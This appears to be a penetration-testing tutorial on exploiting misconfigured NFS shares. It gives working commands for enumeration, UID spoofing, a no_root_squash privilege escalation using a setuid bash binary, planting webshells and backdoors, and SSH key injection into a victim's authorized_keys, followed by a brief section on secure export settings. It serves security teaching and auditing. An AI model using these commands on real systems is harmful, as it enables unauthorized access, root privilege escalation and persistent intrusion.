NFS (Network File System) lets Unix/Linux systems share directories over the network. Misconfigured NFS shares — anonymous access, world-writable permissions, no_root_squash — turn file sharing into unauthorized file access and sometimes RCE.
How NFS Works
- Server exports a directory
- Clients mount it as if it were local
- Permissions are checked by UID — the client’s UID determines access on the server
- Authentication is typically “trust the client” (unless Kerberos is configured)
That last point is the attack surface: NFS trusts the client to report its UID honestly. Create a local user with UID 1000, and the NFS server treats you as whoever is UID 1000 on their system.
Discovery
NFS runs on TCP/UDP 2049 plus auxiliary services (portmap on 111):
# nmap
nmap -p 111,2049 target
nmap -p 111,2049 --script nfs-* target
# detailed nmap scripts
nmap -p 2049 --script nfs-showmount target
nmap -p 2049 --script nfs-ls target
nmap -p 2049 --script nfs-statfs targetEnumerating Exports
List what the server shares:
# showmount from a Linux client
showmount -e target
# example output:
Export list for target:
/mnt/nfs *
/home/public 192.168.1.0/24
/backup *Three things to note:
/mnt/nfs *— exported to anyone/home/public 192.168.1.0/24— restricted to that subnet/backup *— exported to anyone again
Anything exported to * is likely worth probing.
Mounting Shares
# as root
sudo mkdir -p /mnt/target
sudo mount -t nfs target:/mnt/nfs /mnt/target
# with specific NFS version
sudo mount -t nfs -o vers=3 target:/mnt/nfs /mnt/target
sudo mount -t nfs -o vers=4 target:/mnt/nfs /mnt/target
# noexec to prevent accidentally running trojaned binaries
sudo mount -t nfs -o noexec target:/mnt/nfs /mnt/targetThen browse:
ls -la /mnt/target
cat /mnt/target/sensitive_fileThe UID Trick (No Root Squash Attack)
NFS validates access by UID. If a file is owned by UID 1000, you need UID 1000 on the client to access it.
Attack:
- Mount the share and look at file ownership:
ls -lan /mnt/target # -rw------- 1 1000 1000 1234 Jan 1 10:00 /mnt/target/secret.txt - The file is owned by UID 1000. If you’re root, you can either:
- Create a local user with UID 1000,
suto them, read the file - Just use
chownlocally on the mount ifroot_squashis disabled
- Create a local user with UID 1000,
no_root_squash — The Big Prize
By default, NFS maps requests from root (UID 0) to the nobody user (root_squash). If the server’s export was configured with no_root_squash, your local root is treated as the server’s root — which means you can read any file:
# check for no_root_squash via file access
# if you (root) can read root-owned files: no_root_squash is enabled
sudo cat /mnt/target/root_only_fileEven better — you can create setuid root binaries that execute as root when run on the server:
# on your client (as root):
cp /bin/bash /mnt/target/pwn_bash
chown root:root /mnt/target/pwn_bash
chmod u+s /mnt/target/pwn_bash
# on the server (as any user with access to the share):
./pwn_bash -p
whoami # → rootThe mounted directory often ends up mapped to a path on the server that other users can access. SSH in as any user and execute the setuid binary.
Writable Shares — Direct File Write
If the share is world-writable:
echo "attacker-controlled content" > /mnt/target/config.phpUseful for:
- Dropping webshells into shared web directories
- Writing
authorized_keysto steal SSH access - Planting malicious binaries other users will execute
SSH Key Injection via NFS
If the share includes a user’s home directory:
# generate a key on your box
ssh-keygen -t ed25519 -f victim_key
# write to the victim's authorized_keys via NFS
mkdir -p /mnt/target/.ssh
cat victim_key.pub >> /mnt/target/.ssh/authorized_keys
chmod 600 /mnt/target/.ssh/authorized_keys
# SSH in as them
ssh -i victim_key victim@targetWatch file ownership — the written key needs to be owned by the target user (UID match).
Enumerating Mountable Shares at Scale
for host in $(cat hosts.txt); do
echo "=== $host ==="
showmount -e $host 2>/dev/null
doneFast way to find exposed shares across a subnet.
NFS Versions
- v3 — classic, uses auxiliary services (portmap, mountd, statd)
- v4 — uses only port 2049, has optional Kerberos, more complex
v3 is still widely deployed in internal networks. v4 with Kerberos is harder to attack because UID spoofing doesn’t work.
Defender Perspective
What good configurations look like:
/exports/data 10.0.0.0/24(rw,sync,root_squash,no_subtree_check)
rw— allow writes (if needed)root_squash— downgrade root to nobody (critical)- restricted subnet — not
* - Kerberos (
sec=krb5p) for authentication if available
What to look for in the wild:
*in export listno_root_squashin/etc/exportsinsecureflag (allows requests from ports > 1024)
Methodology
- Scan for ports 111 and 2049
showmount -e targetto list exports- Mount exports accessible to you
- Enumerate file ownership (
ls -lan) and look for sensitive files - Try reading files as different UIDs (create local users matching server UIDs)
- Check for
no_root_squashby reading root-owned files - If
no_root_squash: drop setuid binary for priv esc - If writable: plant webshells, authorized_keys, or backdoors
